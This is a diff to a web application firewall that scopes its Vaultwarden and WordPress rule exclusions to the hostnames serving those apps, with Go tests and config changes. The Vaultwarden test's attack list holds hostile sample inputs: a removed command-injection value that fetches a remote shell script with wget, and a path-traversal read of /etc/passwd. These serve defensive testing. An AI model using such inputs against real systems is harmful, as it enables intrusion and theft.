@@ -1,4 +1,4 @@
-# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
+# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
 # refused ordinary Vaultwarden requests there. They are the fields where
 # Vaultwarden receives a name, a password hint or an email address in plain
 # text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,6 +17,14 @@
 #   932250: ls -la
 #   932260: python3
 
+# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
+# sets it while SWW_APPS is unset, or lists vaultwarden for the request's
+# hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_vaultwarden itself.
+SecRule &TX:app_vaultwarden "@eq 0" \
+    "id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
+
 # Names and password hints, in JSON bodies, skip the four rules:
 #   name: signing up, editing the account's profile, and creating or renaming
 #   an organization or a group, "python3 .htaccess team"
@@ -124,3 +132,5 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
         ctl:ruleRemoveTargetById=942540;ARGS:token,\
         ctl:ruleRemoveTargetById=942550;ARGS:token,\
         ctl:ruleRemoveTargetById=944150;ARGS:token"
+
+SecMarker END_VAULTWARDEN

internal/coreruleset/vaultwarden_test.go

@@ -9,6 +9,8 @@ import (
 	"slices"
 	"strings"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
 // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -29,6 +31,23 @@ const (
 // vaultwardenEmail is a JSON body that sends an address in email.
 const vaultwardenEmail = `{"email":"VALUE"}`
 
+func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {"vaultwarden"},
+	})
+
+	// An address for the data breach report, which only Vaultwarden's fixes
+	// let through.
+	report := get(vaultwardenBreachReport + "python3%40example.com")
+
+	wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(report, giteaHost), matched(932260))
+}
+
 // vaultwardenField is a field Vaultwarden receives in plain text: the
 // request that sends it, and its body, with VALUE where the field's value
 // goes.
@@ -294,7 +313,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
 var vaultwardenAttacks = []string{
 	injection,
 	scriptTag,
-	"; wget http://example.com/x.sh",
+	shellCommand,
 	"../../etc/passwd",
 }
 

internal/coreruleset/wordpress.conf

@@ -1,10 +1,17 @@
-# The ninth change: on WordPress's paths, some fields skip the rules that refused
+# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
 # ordinary WordPress requests there. Each exclusion runs with the request, before
 # the rules it switches off, so this file is loaded before the Core Rule Set's
 # rules. Each comment names a request the rule refused. An exclusion on a field
 # of a body applies only when the query has no parameter of that name, so it
 # matters only while SWW_WAF_BODY_LIMIT is set.
 
+# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
+# it while SWW_APPS is unset, or lists wordpress for the request's hostname.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_wordpress itself.
+SecRule &TX:app_wordpress "@eq 0" \
+    "id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
+
 # WordPress takes a call to its REST API at any of four addresses:
 #   /wp-json/wp/v2/posts/1
 #   /index.php/wp-json/wp/v2/posts/1
@@ -315,3 +322,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
 # so skips 932340 there.
 SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
     "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
+
+SecMarker END_WORDPRESS

internal/waf/coreruleset_test.go

@@ -12,6 +12,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
@@ -21,6 +22,7 @@ const (
 	wafDisabledRules    = "SWW_WAF_DISABLED_RULES"
 	wafExemptPaths      = "SWW_WAF_EXEMPT_PATHS"
 	wafBodyLimit        = "SWW_WAF_BODY_LIMIT"
+	apps                = "SWW_APPS"
 	block               = "block"
 	detect              = "detect"
 )
@@ -373,6 +375,32 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
 	}
 }
 
+func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
+	t.Parallel()
+
+	// Only gitea's fixes let a file name through in path, a parameter
+	// gitea sends file names in.
+	const fileName = "/?path=.gitignore"
+
+	s := startWAF(t, "", map[string]string{
+		wafMode: block, apps: siteA + ":gitea",
+	})
+
+	wantDisposition(t, do(t, s.question(siteA, client, fileName)),
+		http.StatusOK, waf.DispositionAllow)
+	wantDisposition(t, do(t, s.question(siteB, client, fileName)),
+		http.StatusForbidden, waf.DispositionDeny)
+
+	lines := s.out.requestLines(t, 2)
+	wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
+	wantLine(
+		t,
+		lines[1],
+		http.StatusForbidden,
+		requestlog.ActionBlockedByCoreRuleSet,
+	)
+}
+
 func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
 	t.Parallel()
 

internal/waf/proxy.go

@@ -221,7 +221,8 @@ func newReputation(
 // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
 // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
 // up to SWW_WAF_BODY_LIMIT, with the exclusions in
-// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
+// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
+// or nil while SWW_WAF_MODE is off. It
 // reads at most QuestionBodyMaxBytes less one byte: a question's body of
 // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
 // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -237,6 +238,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
 		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
 		BodyLimit:      min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
 		ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
+		Apps:           cfg.Apps,
 	})
 	if err != nil {
 		return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)